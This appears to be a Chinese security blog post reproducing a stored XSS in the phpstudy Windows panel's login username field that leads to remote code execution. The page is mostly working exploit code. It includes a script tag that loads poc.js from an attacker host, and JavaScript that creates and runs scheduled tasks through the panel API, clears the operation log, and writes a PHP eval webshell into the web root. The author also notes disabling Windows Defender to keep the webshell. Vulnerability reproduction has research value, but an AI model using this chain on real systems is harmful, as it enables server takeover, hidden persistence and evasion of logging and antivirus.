网站首页 > 资源文章 正文
一、漏洞描述
最近爆出phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。这是一个很简单的1click的RCE,通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。
二、漏洞复现
1.首先在官网下载最新的 小皮windows面板 安装程序
2.在win10虚拟机中进行安装
3.安装完成后会弹出访问地址,具体如下:
4.访问登录系统面板,页面如下:
5.首先在用户名处插入弹窗的xss代码验证是否存在漏洞
<script>alert(123)</script>
6.然后再使用管理员账号登录系统
发现已经触发了弹窗。这是因为整个系统在加载的时候会读取操作日志的内容,因为刚才已经插入了弹窗的xss代码,所以这里执行显示了。
7.该系统后台有个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。
具体步骤如下:
a. 在vps上部署需要插入的 poc.js 文件,内容显示如下(在服务器的www目录下写入验证txt文件)
<function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res1){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res2){
$.post("/service/app/log.php?type=clearlog",{
type:"clearlog"
},function(res3){},"json");
},"json");
},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="10";
data.minute = "15";
data.shell="echo ryan >C:/xp/xp.cn/www/1.txt";
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
// 这里的hour代表时,minute代表分>
PS:这里需要清空日志,避免重复触发,不然很容易把真实环境搞崩
b. 然后在登陆的用户名处插入如下代码
<script src=http://192.168.81.162/poc.js></script>
c. 只要管理员登录到系统,我们插入的xss代码即可写入计划任务并执行,通过计划任务就可以在服务器上写入文件。
复现到此,程序崩了。
使用 小皮面板命令行 重启服务
d. 因为小皮面板这个运维系统类似于宝塔,所以其中会部署网站
e. 这里写入webshell的话可以向网站目录下写
C:\xp\xp.cn\www\wwwroot\admin\localhost_80\wwwroot
f. 将上面的poc改造如下
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="14";
data.minute = "20";
data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
g. 用户名输入一下payload,密码任意,登录两次(登录一次面板有时候会不显示)
<script src=http://192.168.81.162/poc2.js></script>
h. 当管理员进入了首页或者操作日志,即可执行计划任务写入webshell
Windows Defender 直接把webshell给删了
关闭Windows Defender,重新写入计划任务
i. 执行完成之后可以看到写入php文件成功了
j. 连接蚁剑
三、总结
登录框处存在一个xss,管理员登录成功之后会触发xss漏洞,在登录成功之后的后台功能点计划任务当中存在命令执行,但是需要登录成功才可以利用,所以直接去编写恶意JS文件去写入计划任务,再到管理员登录去触发xss,使其管理员登录成功之后触发xss里的恶意JS文件从而导致RCE。
四、参考链接
phpstudy 小皮web面板 RCE漏洞:https://mp.weixin.qq.com/s/bZwd8pcPIINQihIuIUIyFA
小皮web面板 RCE漏洞:https://mp.weixin.qq.com/s/5w4yE3xX-Ep72O6GJy569g
猜你喜欢
- 2024-10-20 windows如何实现定时任务?配合脚本使用结局很满意
- 2024-10-20 出现'mysql' 不是内部或外部命令,也不是可运行的程序怎么解决?
- 2024-10-20 php搭建小型部门网站(部署php网站)
- 2024-10-20 从PHP开始学渗透 -- 变量与引用(php变量底层实现)
- 2024-10-20 windows环境下php集成环境phpStudy2017 开启目录列表显示
- 2024-10-20 使用PHP访问MySQL并显示MySQL中的数据(适合新手)
- 2024-10-20 「编程基础」PHP基础教程(一)(php基础编程题)
- 2024-10-20 jsp+servlet高校助学金管理系统java教务jsp源代码Mysql
- 2024-10-20 小皮phpStudy安装视频教程win系统安装网站教学基础)
- 2024-10-20 搭建PHP开发运行环境(phpstudy搭建php环境)
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- 电脑显示器花屏 (79)
- 403 forbidden (65)
- linux怎么查看系统版本 (54)
- 补码运算 (63)
- 缓存服务器 (61)
- 定时重启 (59)
- plsql developer (73)
- 对话框打开时命令无法执行 (61)
- excel数据透视表 (72)
- oracle认证 (56)
- 网页不能复制 (84)
- photoshop外挂滤镜 (58)
- 网页无法复制粘贴 (55)
- vmware workstation 7 1 3 (78)
- jdk 64位下载 (65)
- phpstudy 2013 (66)
- 卡通形象生成 (55)
- psd模板免费下载 (67)
- shift (58)
- localhost打不开 (58)
- 检测代理服务器设置 (55)
- frequency (66)
- indesign教程 (55)
- 运行命令大全 (61)
- ping exe (64)
本文暂时没有评论,来添加一个吧(●'◡'●)